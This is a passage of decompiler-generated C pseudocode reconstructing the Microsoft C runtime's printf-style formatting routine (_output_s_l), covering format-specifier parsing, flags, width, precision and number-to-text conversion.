										 *(_t699 - 0x2b8) = _t587;
										 *(_t699 - 0x2b4) = _t647;
									}
								} else {
									_t588 = E00428600(_t699 + 0x14);
									_t702 = _t701 + 4;
									 *(_t699 - 0x2b8) = _t588;
									 *(_t699 - 0x2b4) = _t645;
								}
								if(( *(_t699 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t699 - 0x2c0) =  *(_t699 - 0x2b8);
									 *(_t699 - 0x2bc) =  *(_t699 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t710 =  *(_t699 - 0x2b4);
									if(_t710 > 0 || _t710 >= 0 &&  *(_t699 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t699 - 0x2c0) =  ~( *(_t699 - 0x2b8));
										 *(_t699 - 0x2bc) =  ~( *(_t699 - 0x2b4));
										 *(_t699 - 0x10) =  *(_t699 - 0x10) | 0x00000100;
										L171:
										if(( *(_t699 - 0x10) & 0x00008000) == 0 && ( *(_t699 - 0x10) & 0x00001000) == 0) {
											 *(_t699 - 0x2bc) =  *(_t699 - 0x2bc) & 0x00000000;
										}
										if( *(_t699 - 0x30) >= 0) {
											 *(_t699 - 0x10) =  *(_t699 - 0x10) & 0xfffffff7;
											if( *(_t699 - 0x30) > 0x200) {
												 *(_t699 - 0x30) = 0x200;
											}
										} else {
											 *(_t699 - 0x30) = 1;
										}
										if(( *(_t699 - 0x2c0) |  *(_t699 - 0x2bc)) == 0) {
											 *(_t699 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t699 - 4)) = _t699 - 0x49;
										while(1) {
											L181:
											_t655 =  *(_t699 - 0x30) - 1;
											 *(_t699 - 0x30) =  *(_t699 - 0x30) - 1;
											if( *(_t699 - 0x30) <= 0 && ( *(_t699 - 0x2c0) |  *(_t699 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t656 =  *(_t699 - 0x2c0);
											 *((intOrPtr*)(_t699 - 0x2ac)) = E00430A00(_t656,  *(_t699 - 0x2bc),  *(_t699 - 8), _t655) + 0x30;
											asm("cdq");
											 *(_t699 - 0x2c0) = E00430A80( *(_t699 - 0x2c0),  *(_t699 - 0x2bc),  *(_t699 - 8), _t656);
											 *(_t699 - 0x2bc) = _t656;
											if( *((intOrPtr*)(_t699 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t699 - 0x2ac)) =  *((intOrPtr*)(_t699 - 0x2ac)) +  *((intOrPtr*)(_t699 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t699 - 4)))) =  *((intOrPtr*)(_t699 - 0x2ac));
											 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) - 1;
										}
										L186:
										 *((intOrPtr*)(_t699 - 0x24)) = _t699 - 0x49 -  *((intOrPtr*)(_t699 - 4));
										 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) + 1;
										if(( *(_t699 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t699 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t699 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t699 - 4)))) = 0x30;
											 *((intOrPtr*)(_t699 - 0x24)) =  *((intOrPtr*)(_t699 - 0x24)) + 1;
										}
										L190:
										while(1) {
											L190:
											while(1) {
												L190:
												while(1) {
													L190:
													while(1) {
														L190:
														while(1) {
															L190:
															while(1) {
																L190:
																while(1) {
																	do {
																		L190:
																		if( *((intOrPtr*)(_t699 - 0x28)) != 0) {
																			L216:
																			if( *(_t699 - 0x20) != 0) {
																				L0041C6E0( *(_t699 - 0x20), 2);
																				_t702 = _t702 + 8;
																				 *(_t699 - 0x20) = 0;
																			}
																			while(1) {
																				L218:
																				 *(_t699 - 0x251) =  *( *(_t699 + 0xc));
																				_t663 =  *(_t699 - 0x251);
																				 *(_t699 + 0xc) =  *(_t699 + 0xc) + 1;
																				if( *(_t699 - 0x251) == 0 ||  *(_t699 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t699 - 0x251) < 0x20 ||  *(_t699 - 0x251) > 0x78) {
																						 *(_t699 - 0x310) = 0;
																					} else {
																						 *(_t699 - 0x310) =  *( *(_t699 - 0x251) +  &M00407E18) & 0xf;
																					}
																				}
																				L7:
																				 *(_t699 - 0x250) =  *(_t699 - 0x310);
																				_t525 =  *(_t699 - 0x250) * 9;
																				_t609 =  *(_t699 - 0x25c);
																				_t663 = ( *(_t525 + _t609 + 0x407e38) & 0x000000ff) >> 4;
																				 *(_t699 - 0x25c) = ( *(_t525 + _t609 + 0x407e38) & 0x000000ff) >> 4;
																				if( *(_t699 - 0x25c) != 8) {
																					L16:
																					 *(_t699 - 0x318) =  *(_t699 - 0x25c);
																					if( *(_t699 - 0x318) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t699 - 0x318) * 4 +  &M004357E0))) {
																						case 0:
																							L18:
																							 *(_t699 - 0xc) = 0;
																							_t528 = E00431490( *(_t699 - 0x251) & 0x000000ff, E0041AFF0(_t699 - 0x40));
																							_t705 = _t702 + 8;
																							if(_t528 == 0) {
																								L24:
																								E00428500( *(_t699 - 0x251) & 0x000000ff,  *(_t699 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																								_t702 = _t705 + 0xc;
																								goto L218;
																							} else {
																								E00428500( *((intOrPtr*)(_t699 + 8)),  *(_t699 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																								_t705 = _t705 + 0xc;
																								_t614 =  *( *(_t699 + 0xc));
																								 *(_t699 - 0x251) =  *( *(_t699 + 0xc));
																								_t663 =  *(_t699 + 0xc) + 1;
																								 *(_t699 + 0xc) = _t663;
																								asm("sbb eax, eax");
																								 *(_t699 - 0x27c) =  ~( ~( *(_t699 - 0x251)));
																								if(_t663 == 0) {
																									_push(L"(ch != _T(\'\\0\'))");
																									_push(0);
																									_push(0x486);
																									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																									_push(2);
																									_t540 = L0041E520();
																									_t705 = _t705 + 0x14;
																									if(_t540 == 1) {
																										asm("int3");
																									}
																								}
																								L22:
																								if( *(_t699 - 0x27c) != 0) {
																									goto L24;
																								} else {
																									 *((intOrPtr*)(L00423010(_t614))) = 0x16;
																									E00422DA0(_t589, _t614, _t697, _t698, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																									 *(_t699 - 0x2f4) = 0xffffffff;
																									E0041AFC0(_t699 - 0x40);
																									_t518 =  *(_t699 - 0x2f4);
																									goto L229;
																								}
																							}
																						case 1:
																							L25:
																							 *(__ebp - 0x2c) = 0;
																							__edx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																							__eax =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__ecx =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) = __ecx;
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L218;
																						case 2:
																							L26:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							if( *(__ebp - 0x31c) > 0x10) {
																								goto L33;
																							}
																							L27:
																							__ecx =  *(__ebp - 0x31c);
																							_t72 = __ecx + 0x435818; // 0x498d04
																							__edx =  *_t72 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435800))) {
																								case 0:
																									goto L30;
																								case 1:
																									goto L31;
																								case 2:
																									goto L29;
																								case 3:
																									goto L28;
																								case 4:
																									goto L32;
																								case 5:
																									goto L33;
																							}
																						case 3:
																							L34:
																							__edx =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								__eax =  *(__ebp - 0x18);
																								__eax =  *(__ebp - 0x18) * 0xa;
																								__ecx =  *((char*)(__ebp - 0x251));
																								_t96 = __ecx - 0x30; // -48
																								__edx = __eax + _t96;
																								 *(__ebp - 0x18) = __eax + _t96;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x18) = E004285E0(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) = __ecx;
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								}
																							}
																							goto L218;
																						case 4:
																							L40:
																							 *(__ebp - 0x30) = 0;
																							goto L218;
																						case 5:
																							L41:
																							__eax =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																								_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																								__ecx =  *(__ebp - 0x30) * 0xa + _t107;
																								 *(__ebp - 0x30) = __ecx;
																							} else {
																								__ecx = __ebp + 0x14;
																								 *(__ebp - 0x30) = E004285E0(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L218;
																						case 6:
																							L47:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							if( *(__ebp - 0x320) > 0x2e) {
																								L70:
																								goto L218;
																							}
																							L48:
																							__ecx =  *(__ebp - 0x320);
																							_t115 = __ecx + 0x435840; // 0x504e9003
																							__edx =  *_t115 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M0043582C))) {
																								case 0:
																									L53:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x36) {
																										L56:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) != 0x33) {
																											L59:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x64) {
																												L65:
																												L67:
																												goto L70;
																											}
																											L60:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x69) {
																												goto L65;
																											}
																											L61:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx == 0x6f) {
																												goto L65;
																											}
																											L62:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x75) {
																												goto L65;
																											}
																											L63:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x78) {
																												goto L65;
																											}
																											L64:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx != 0x58) {
																												L66:
																												 *(__ebp - 0x25c) = 0;
																												goto L18;
																											}
																											goto L65;
																										}
																										L57:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *((char*)(__ecx + 1));
																										if( *((char*)(__ecx + 1)) != 0x32) {
																											goto L59;
																										}
																										L58:
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L67;
																									}
																									L54:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x34) {
																										goto L56;
																									}
																									L55:
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L67;
																								case 1:
																									L68:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									goto L70;
																								case 2:
																									L49:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc));
																									if(__ecx != 0x6c) {
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) = __ecx;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L70;
																								case 3:
																									L69:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L70;
																								case 4:
																									goto L70;
																							}
																						case 7:
																							goto L71;
																						case 8:
																							L30:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							goto L33;
																						case 9:
																							L31:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L33;
																						case 0xa:
																							L29:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xb:
																							L28:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L33;
																						case 0xc:
																							L32:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xd:
																							L33:
																							goto L218;
																					}
																				} else {
																					if(0 == 0) {
																						 *(_t699 - 0x314) = 0;
																					} else {
																						 *(_t699 - 0x314) = 1;
																					}
																					_t616 =  *(_t699 - 0x314);
																					 *(_t699 - 0x278) =  *(_t699 - 0x314);
																					if( *(_t699 - 0x278) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t545 = L0041E520();
																						_t702 = _t702 + 0x14;
																						if(_t545 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t699 - 0x278) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00423010(_t616))) = 0x16;
																						E00422DA0(_t589, _t616, _t697, _t698, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t699 - 0x2f0) = 0xffffffff;
																						E0041AFC0(_t699 - 0x40);
																						_t518 =  *(_t699 - 0x2f0);
																						L229:
																						return E0042BF30(_t518, _t589,  *(_t699 - 0x48) ^ _t699, _t663, _t697, _t698);
																					}
																				}
																			}
																			L219:
																			if( *(_t699 - 0x25c) == 0 ||  *(_t699 - 0x25c) == 7) {
																				 *(_t699 - 0x334) = 1;
																			} else {
																				 *(_t699 - 0x334) = 0;
																			}
																			_t603 =  *(_t699 - 0x334);
																			 *(_t699 - 0x2e0) =  *(_t699 - 0x334);
																			if( *(_t699 - 0x2e0) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t523 = L0041E520();
																				_t702 = _t702 + 0x14;
																				if(_t523 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t699 - 0x2e0) != 0) {
																				 *(_t699 - 0x300) =  *(_t699 - 0x24c);
																				E0041AFC0(_t699 - 0x40);
																				_t518 =  *(_t699 - 0x300);
																			} else {
																				 *((intOrPtr*)(L00423010(_t603))) = 0x16;
																				E00422DA0(_t589, _t603, _t697, _t698, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t699 - 0x2fc) = 0xffffffff;
																				E0041AFC0(_t699 - 0x40);
																				_t518 =  *(_t699 - 0x2fc);
																			}
																			goto L229;
																		}
																		L191:
																		if(( *(_t699 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t699 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t699 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t699 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t699 - 0x14)) = 0x20;
																						 *(_t699 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t699 - 0x14)) = 0x2b;
																					 *(_t699 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t699 - 0x14)) = 0x2d;
																				 *(_t699 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t699 - 0x2c4)) =  *((intOrPtr*)(_t699 - 0x18)) -  *((intOrPtr*)(_t699 - 0x24)) -  *(_t699 - 0x1c);
																		if(( *(_t699 - 0x10) & 0x0000000c) == 0) {
																			E004285A0(0x20,  *((intOrPtr*)(_t699 - 0x2c4)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																			_t702 = _t702 + 0x10;
																		}
																		E004358F0( *(_t699 - 0x1c), _t699 - 0x14,  *(_t699 - 0x1c),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																		_t702 = _t702 + 0x10;
																		if(( *(_t699 - 0x10) & 0x00000008) != 0 && ( *(_t699 - 0x10) & 0x00000004) == 0) {
																			E004285A0(0x30,  *((intOrPtr*)(_t699 - 0x2c4)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																			_t702 = _t702 + 0x10;
																		}
																		if( *(_t699 - 0xc) == 0 ||  *((intOrPtr*)(_t699 - 0x24)) <= 0) {
																			L212:
																			E004358F0( *((intOrPtr*)(_t699 - 4)),  *((intOrPtr*)(_t699 - 4)),  *((intOrPtr*)(_t699 - 0x24)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																			_t702 = _t702 + 0x10;
																			goto L213;
																		} else {
																			L205:
																			 *(_t699 - 0x2dc) = 0;
																			 *((intOrPtr*)(_t699 - 0x2c8)) =  *((intOrPtr*)(_t699 - 4));
																			 *((intOrPtr*)(_t699 - 0x2cc)) =  *((intOrPtr*)(_t699 - 0x24));
																			while(1) {
																				L206:
																				 *((intOrPtr*)(_t699 - 0x2cc)) =  *((intOrPtr*)(_t699 - 0x2cc)) - 1;
																				if( *((intOrPtr*)(_t699 - 0x2cc)) == 0) {
																					break;
																				}
																				L207:
																				 *(_t699 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t699 - 0x2c8))));
																				_t563 = E004344A0(_t699 - 0x2d0, _t699 - 0x2d8, 6,  *(_t699 - 0x32e) & 0x0000ffff);
																				_t702 = _t702 + 0x10;
																				 *(_t699 - 0x2dc) = _t563;
																				 *((intOrPtr*)(_t699 - 0x2c8)) =  *((intOrPtr*)(_t699 - 0x2c8)) + 2;
																				if( *(_t699 - 0x2dc) != 0 ||  *((intOrPtr*)(_t699 - 0x2d0)) == 0) {
																					L209:
																					 *(_t699 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L210:
																					E004358F0( *((intOrPtr*)(_t699 + 8)), _t699 - 0x2d8,  *((intOrPtr*)(_t699 - 0x2d0)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																					_t702 = _t702 + 0x10;
																					continue;
																				}
																			}
																			L211:
																			L213:
																			if( *(_t699 - 0x24c) >= 0 && ( *(_t699 - 0x10) & 0x00000004) != 0) {
																				E004285A0(0x20,  *((intOrPtr*)(_t699 - 0x2c4)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																				_t702 = _t702 + 0x10;
																			}
																			goto L216;
																		}
																		L71:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x324) = __ecx;
																		__edx =  *(__ebp - 0x324);
																		__edx =  *(__ebp - 0x324) - 0x41;
																		 *(__ebp - 0x324) = __edx;
																	} while ( *(__ebp - 0x324) > 0x37);
																	_t156 =  *(__ebp - 0x324) + 0x4358ac; // 0xcccccc0d
																	__ecx =  *_t156 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00435870))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E004285E0(__ebp + 0x14);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			if( *((intOrPtr*)( *(__ebp - 0x288) + 4)) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041BA60(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AFF0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0xc0d8c8fb
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AFF0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xc0d7763b
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AFF0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xc0d772bb
																							E00424860(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																					goto L190;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E004285E0(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00428620(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E004344A0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L190;
																		case 7:
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E004285E0(__ebp + 0x14);
																			if(E00434180() != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L190;
																			}
																			L110:
																			__edx = 0;
																			if(0 == 0) {
